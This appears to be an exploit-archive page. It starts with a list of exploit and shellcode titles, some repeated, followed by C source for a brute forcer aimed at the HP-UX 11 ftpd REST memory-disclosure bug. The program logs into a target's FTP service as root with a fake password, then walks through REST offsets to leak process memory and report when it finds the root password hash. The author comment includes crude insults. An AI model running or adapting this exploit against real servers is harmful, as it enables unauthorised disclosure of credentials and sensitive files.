
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
112 lines
No EOL
2.8 KiB
C
112 lines
No EOL
2.8 KiB
C
// source: https://www.securityfocus.com/bid/7825/info
|
|
|
|
A vulnerability has been discovered in the HP-UX 11 ftpd daemon. The problem can be triggered using the FTP REST command. By specifying a specially calculated numeric argument to the command, it is possible to disclose the contents of that numeric location in process memory. This issue may be exploited to disclose the contents of sensitive files, such as /etc/passwd.
|
|
|
|
/*
|
|
DeepMagic - There be some Deep Magic brewin...
|
|
http://www.deep-magic.org/
|
|
http://www.deepmagic.us/
|
|
http://www.deepmagic.info/
|
|
http://www.deepmagic.name/
|
|
http://www.deepmagic.org is down atm untill opensrs/tucows
|
|
restores the domain to the proper owner.
|
|
DMhpux FTPd REST bug brute forcer
|
|
brought to you by di0aD
|
|
|
|
mad props to the media hoar phased aka Mister-X aka
|
|
MisterX aka Matt Carrol of the UK for giving
|
|
the purfekt bl0w j0b.
|
|
*/
|
|
|
|
#include <sys/types.h>
|
|
#include <sys/socket.h>
|
|
#include <netinet/in.h>
|
|
#include <arpa/inet.h>
|
|
#include <netdb.h>
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
|
|
int main (int argc, char *argv[]) {
|
|
|
|
int sock, rc;
|
|
long int i;
|
|
struct sockaddr_in saddr;
|
|
struct hostent *h;
|
|
char buf[256];
|
|
|
|
printf("DMhpux FTPd - REST bug brute forcer\n");
|
|
printf("by di0aD\n");
|
|
|
|
if(argc < 2) {
|
|
printf("usage: %s <host> -- simple enough?\n",argv[0]);
|
|
exit(1);
|
|
}
|
|
h = gethostbyname(argv[1]);
|
|
if(h==NULL) {
|
|
printf("%s: unknown host '%s'\n",argv[0],argv[1]);
|
|
exit(1);
|
|
}
|
|
|
|
saddr.sin_family = h->h_addrtype;
|
|
memcpy((char *) &saddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
|
|
saddr.sin_port = htons(21);
|
|
|
|
sock = socket(AF_INET, SOCK_STREAM, 0);
|
|
if(sock<0) {
|
|
perror("cannot open socket ");
|
|
exit(1);
|
|
}
|
|
|
|
rc = connect(sock, (struct sockaddr *) &saddr, sizeof(saddr));
|
|
if(rc<0) {
|
|
perror("cannot connect ");
|
|
exit(1);
|
|
}
|
|
|
|
printf("Sending false login credentials\n");
|
|
snprintf(buf, sizeof(buf), "USER root\r\n");
|
|
printf("sending %s\n", buf);
|
|
rc = send(sock, buf, strlen(buf), 0);
|
|
if(rc<0) {
|
|
perror("cannot send data ");
|
|
close(sock);
|
|
exit(0);
|
|
}
|
|
dorecv(sock);
|
|
usleep(1000);
|
|
memset(buf, 0, sizeof(buf));
|
|
snprintf(buf, sizeof(buf), "PASS foo\r\n");
|
|
printf("sending %s\n", buf);
|
|
rc = send(sock, buf, strlen(buf), 0);
|
|
usleep(1000);
|
|
dorecv(sock);
|
|
dorecv(sock);
|
|
|
|
for(i=1073931080;i<=1073945000;i = i+10) {
|
|
snprintf(buf, sizeof(buf), "REST %d\r\n", i);
|
|
printf("sending %s\n", buf);
|
|
send(sock, buf, strlen(buf), 0);
|
|
dorecv(sock);
|
|
}
|
|
|
|
|
|
return 0;
|
|
|
|
}
|
|
|
|
int dorecv(int sock) {
|
|
char buf[256];
|
|
char *check;
|
|
|
|
memset(buf, 0, sizeof(buf));
|
|
recv(sock, buf, sizeof(buf), 0);
|
|
printf("got: %s\n", buf);
|
|
check = (char *)strstr(buf, "root");
|
|
if(check != NULL) {
|
|
printf("Got root hash\n");
|
|
}
|
|
|
|
}
|
|
|
|
|
|
// it takes two to tango
|